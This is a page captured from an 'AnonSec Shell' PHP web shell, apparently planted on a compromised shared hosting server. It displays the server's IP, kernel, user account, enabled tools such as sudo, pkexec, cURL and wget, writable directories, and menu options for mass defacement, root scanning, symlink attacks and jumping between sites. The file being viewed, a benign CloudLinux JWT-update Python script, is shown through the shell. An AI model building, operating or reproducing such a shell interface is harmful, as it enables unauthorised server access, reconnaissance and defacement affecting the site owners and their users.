AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/cl-pre-jwt-update
#!/opt/cloudlinux/venv/bin/python3 -bb
import argparse
import subprocess

# The following imports might cause an ImportError if there's no alt-python27-cllib in the CL venv.
# However, cllib is always installed during the installation of the CloudLinux OS, so that is very unlikely.
# alt-python27-cllib is not a direct dependency of the rhn-client-tools package, because during the installation
# of the CloudLinux OS, rhn-client-tools must be installed before alt-python27-cllib.
from clcommon.lib.cledition import CLEditions


def _run_edition_change_check(edition: str):
    # run interactively
    subprocess.run(['cloudlinux-edition-watcher', 'check', '--pre', '--edition', edition])


def main(jwt_token, transition_allowed: bool):
    """
    You add your other actions here, but don't forget to handle errors.
    @param transition_allowed:
        True means that we expect transition to start and it won't
        affect any system actions like another yum transaction.
    """
    if transition_allowed:
        edition = CLEditions.get_from_jwt(token=jwt_token)
        _run_edition_change_check(edition)


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--new-token',
                        help='New jwt token value that will be later saved to file')

    parser.add_argument('--allow-transition', action='store_true', default=False)

    args = parser.parse_args()

    main(args.new_token, transition_allowed=args.allow_transition)

Anon7 - 2022
AnonSec Team